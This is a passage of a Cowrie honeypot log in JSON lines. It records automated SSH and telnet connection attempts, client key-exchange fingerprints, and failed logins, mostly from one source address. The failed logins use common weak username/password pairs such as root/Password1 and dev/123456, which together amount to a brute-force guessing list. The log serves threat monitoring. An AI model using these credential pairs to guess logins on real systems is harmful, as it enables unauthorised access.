cdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:44.350703Z","src_ip":"176.65.132.129","session":"cf8995e01543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:44.600721Z","src_ip":"176.65.132.129","session":"cf8995e01543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:45.687092Z","src_ip":"176.65.132.129","session":"cf8995e01543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36726,"dst_ip":"159.203.135.109","dst_port":22,"session":"61480d6300c3","protocol":"ssh","message":"New connection: 176.65.132.129:36726 (159.203.135.109:22) [session: 61480d6300c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:47.453580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:47.459166Z","src_ip":"176.65.132.129","session":"61480d6300c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:47.541706Z","src_ip":"176.65.132.129","session":"61480d6300c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:47.790526Z","src_ip":"176.65.132.129","session":"61480d6300c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:48.875992Z","src_ip":"176.65.132.129","session":"61480d6300c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32774,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee0b88aa5eba","protocol":"telnet","message":"New connection: 152.42.224.71:32774 (10.17.0.5:23) [session: ee0b88aa5eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:49.928369Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36728,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e3752e4fe7e","protocol":"ssh","message":"New connection: 176.65.132.129:36728 (159.203.135.109:22) [session: 1e3752e4fe7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:50.704416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:50.709219Z","src_ip":"176.65.132.129","session":"1e3752e4fe7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32778,"dst_ip":"10.17.0.5","dst_port":23,"session":"b286e2b1c0e1","protocol":"telnet","message":"New connection: 152.42.224.71:32778 (10.17.0.5:23) [session: b286e2b1c0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:50.763036Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:50.800748Z","src_ip":"176.65.132.129","session":"1e3752e4fe7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:51.113027Z","src_ip":"139.19.117.129","session":"5c9269bd7c83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:51.223605Z","src_ip":"176.65.132.129","session":"1e3752e4fe7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:52.308246Z","src_ip":"176.65.132.129","session":"1e3752e4fe7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36738,"dst_ip":"159.203.135.109","dst_port":22,"session":"bec98f6d866a","protocol":"ssh","message":"New connection: 176.65.132.129:36738 (159.203.135.109:22) [session: bec98f6d866a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:54.070731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:54.076708Z","src_ip":"176.65.132.129","session":"bec98f6d866a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:54.159049Z","src_ip":"176.65.132.129","session":"bec98f6d866a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:54.405405Z","src_ip":"176.65.132.129","session":"bec98f6d866a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:55.564224Z","src_ip":"176.65.132.129","session":"bec98f6d866a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57826,"dst_ip":"159.203.135.109","dst_port":22,"session":"496cc9b00dc8","protocol":"ssh","message":"New connection: 176.65.132.129:57826 (159.203.135.109:22) [session: 496cc9b00dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:57.301484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:57.306966Z","src_ip":"176.65.132.129","session":"496cc9b00dc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:57.389997Z","src_ip":"176.65.132.129","session":"496cc9b00dc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:57.639887Z","src_ip":"176.65.132.129","session":"496cc9b00dc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:58.727895Z","src_ip":"176.65.132.129","session":"496cc9b00dc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57838,"dst_ip":"159.203.135.109","dst_port":22,"session":"3926df4aeae1","protocol":"ssh","message":"New connection: 176.65.132.129:57838 (159.203.135.109:22) [session: 3926df4aeae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:00.730623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:00.735796Z","src_ip":"176.65.132.129","session":"3926df4aeae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:00.818839Z","src_ip":"176.65.132.129","session":"3926df4aeae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:01.068066Z","src_ip":"176.65.132.129","session":"3926df4aeae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:02.154311Z","src_ip":"176.65.132.129","session":"3926df4aeae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35446,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f007fa185e7","protocol":"telnet","message":"New connection: 152.42.224.71:35446 (10.17.0.5:23) [session: 2f007fa185e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:03.064316Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57854,"dst_ip":"159.203.135.109","dst_port":22,"session":"79829afecf7a","protocol":"ssh","message":"New connection: 176.65.132.129:57854 (159.203.135.109:22) [session: 79829afecf7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:03.916977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:03.922251Z","src_ip":"176.65.132.129","session":"79829afecf7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:04.005915Z","src_ip":"176.65.132.129","session":"79829afecf7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35462,"dst_ip":"10.17.0.5","dst_port":23,"session":"1de13e27bf10","protocol":"telnet","message":"New connection: 152.42.224.71:35462 (10.17.0.5:23) [session: 1de13e27bf10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:04.058881Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:04.255762Z","src_ip":"176.65.132.129","session":"79829afecf7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:05.366846Z","src_ip":"176.65.132.129","session":"79829afecf7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00209259986877,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:06.137503Z","src_ip":"152.42.224.71","session":"c877c5dfd30d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58834,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb32c6ddd77f","protocol":"ssh","message":"New connection: 176.65.132.129:58834 (159.203.135.109:22) [session: cb32c6ddd77f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:07.159871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:07.164961Z","src_ip":"176.65.132.129","session":"cb32c6ddd77f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:07.256454Z","src_ip":"176.65.132.129","session":"cb32c6ddd77f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte","message":"login attempt [soporte/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:07.576726Z","src_ip":"176.65.132.129","session":"cb32c6ddd77f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.111692905426025,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:07.856906Z","src_ip":"152.42.224.71","session":"5b0745572102","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:08.662028Z","src_ip":"176.65.132.129","session":"cb32c6ddd77f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":34315,"dst_ip":"159.203.135.109","dst_port":22,"session":"2102fdcdfc74","protocol":"ssh","message":"New connection: 213.135.168.228:34315 (159.203.135.109:22) [session: 2102fdcdfc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:09.546765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:09.553221Z","src_ip":"213.135.168.228","session":"2102fdcdfc74","protocol":"ssh"}
